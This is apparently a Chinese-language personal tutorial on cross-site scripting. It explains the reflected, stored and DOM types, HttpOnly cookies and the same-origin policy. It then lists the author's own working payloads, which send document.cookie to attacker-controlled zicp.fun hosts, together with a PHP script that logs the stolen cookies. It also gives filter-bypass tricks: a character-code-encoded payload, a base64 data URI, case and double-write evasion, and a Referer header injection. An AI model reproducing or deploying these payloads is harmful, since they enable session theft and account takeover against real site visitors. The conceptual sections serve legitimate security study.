XSS跨站脚本攻击
是一个针对前端三件套(html,css,javascript)的漏洞,原理就是闭合构造前端的恶意代码
举例:
源码:
<input type="text" name="userName" value="Input">
我直接输入"/><!- 那么就会变成
<input type="text" name="userName" value=""/><script>alert(123)</script><!- ">
就会变成执行弹出123的代码了
反射型
攻击者将构造好的payload注入,提交信息给服务器之后再次返回给浏览器端时,并被浏览器误解析执行,以更改当前网页上的某些信息(如链接),或者使浏览器执行某些脚本。常见于搜索框等地方。一般像上面的代码一样只执行一次
存储型
在上传表单以后,我们的代码被放到数据库里面,直到有人点击了才会执行。但是我们也不知道什么时候有人会点击,所以这也叫做xss盲打
DOM型
看到dom大家都会想到(Document Object Model)即文档对象模型。DOM 提供了对整个文档的访问模型,将文档作为一个树形结构,树的每个结点表示了一个 HTML 标签或标签内的文本项。比如document.cookie等等。它和反射型的表现形式很像,而且都不持久,区别就在于反射型是服务端直接回显出js代码然后被我们利用的,dom型却是在浏览器渲染的时候被利用的。
攻击目的
一般的攻击目的呢就是获取cookie,让我们控制的电脑帮我们发送请求到别的地方这样
1.cookie
<script>location.href=`http://dnjnk3484.zicp.fun/xss.php'+'?cookie+${document.cookie}`</script>
这里就是获取设置一个页面跳转的js,http://dnjnk3484.zicp.fun是我们自己搭建的服务器,我们在里面设置一个接受js的脚本
<?php
// @ini_set('display_errors', 'Off');
// $str=$_GET['joke'];
// $path="result.php";
// $handle=fopen($path,"a");
// fwrite($handle,$str);
// fclose($handle);
// #这就是一个接受前端的cookie然后写到文件里面的代码
echo 'hello';
if (isset($_GET['cookie'])) {
$cookie = $_GET['cookie'];
// 过滤和清理用户输入
$cookie = htmlspecialchars($cookie); // 过滤特殊字符
// 其他可能的过滤和验证
// 写入文件
$myfile = fopen('cookie.txt', 'a');
if ($myfile !== false) {
fwrite($myfile, $cookie . "\n");
fclose($myfile);
echo 'Cookie 已成功写入文件。';
} else {
echo '无法打开文件进行写入。';
}
} else {
echo '未提供 cookie 数据。';
}
// ?>
这个php脚本就是获取我们xss传来的cookie了
2.获取键盘输入举例(怎么攻击自己想)
<input type="text" id="inputBox" placeholder="Type something...">
<div id="keyLog">Pressed keys will appear here...</div>
<script>
document.getElementById('inputBox').addEventListener('keydown', function(event) {
var keyLog = document.getElementById('keyLog');
if (event.key === "Enter") {
event.preventDefault();
}
// 将按键添加到日志中
keyLog.textContent += event.key + " ";
});
<!-- 在 JavaScript 中,event 是一个对象,它包含了触发事件时的所有相关信息和数据。当你在 HTML 元素上监听事件(如点击、键盘输入等)时,每当该事件发生,浏览器就会创建一个 event 对象,并将其传递给事件处理函数。
在你提到的代码示例中,event 对象包含了键盘事件的详细信息。event.key 是 event 对象的一个属性,它表示用户按下的键的名称。 -->
http-only
这里讲一个特殊的属性http-only了,它是cookie的属性,当我们在网页里面看到cookie被设置成了这个以后
就说明cookie只能经过http(s)进行传输,不能通过document.cookie获取了,我们得另外想绕过方式
同源策略
同源是指"协议+域名+端口"三者相同,用来防御xss或者csrf攻击,比如说点击劫持攻击上面有一层iframe,同源策略会限制只让同源的iframe存在。意思很简答,我这个页面就只能加载我这个页面下网址的东西,比如www.baidu1.com那我就不能执行baidu2.com的内容,比如iframe嵌入了baidu2.com的内容那就不行
攻击思路
通过<script>或者onfocous等on开头的加载数据帮我们闭合注入
本人常用手段
<script>location.href=`http://94gq783484.zicp.fun/xss.php'+'?cookie+${document.cookie}`</script>
<body onload="window.location.href='http://94gq783484.zicp.fun/xss.php?cookie='+document.cookie"></body>
<svg/**/onload="window.location.href='http://94gq783484.zicp.fun/xss.php?cookie='+document.cookie"></svg>
<!-- 用斜杠或者/**/来代替空格 -->
<iframe/onload="window.open('http://94gq783484.zicp.fun/xss.php?cookie='+document.cookie)"></iframe>
<svg/onload="window.location.href='http://94gq783484.zicp.fun/xss.php?cookie='+document.cookie"></svg>
<iframe/**/onload="window.open('http://94gq783484.zicp.fun/xss.php?cookie='+document.cookie)"></iframe>
<body οnlοad=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,108,111,99,97,116,105,111,110,46,104,114,101,102,61,96,104,116,116,112,58,47,47,57,52,103,113,55,56,51,52,56,52,46,122,105,99,112,46,102,117,110,47,120,115,115,46,112,104,112,39,43,39,63,99,111,111,107,105,101,43,36,123,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,125,96,60,47,115,99,114,105,112,116,62));>
</body>
<!-- 十进制和ascii替换 -->
<body/onload="window.open('http://94gq783484.zicp.fun/xss.php?cookie='+document.cookie)">
<input/onfocus="window.open('http://94gq783484.zicp.fun/xss.php?cookie='+document.cookie)"/autofocus>
绕过
action
属性指定了表单提交时的目标URL,而method
属性定义了数据提交的方式(通常是GET
或POST
)。如果没有这两个属性,浏览器默认会使用GET
方法将表单数据附加到当前页面的URL后面,并且尝试重新加载当前页面。
注意隐藏按钮
onfocus和单引号绕过实体化
' οnfοcus=javascript:alert() '
href绕过
“><a href=javascript:alert()>xxx</a><"
大小写绕过
双写绕过
src错误绕过
<img src='666' οnerrοr=alert()><"
src译码绕过
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnMScpPC9zY3JpcHQ+"> <"
href,Unicode解码绕过
javascript:alert()
格式忽悠注释法
javascript:alert()/* http:// */
抓包改头
Referer: " sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
cookie等等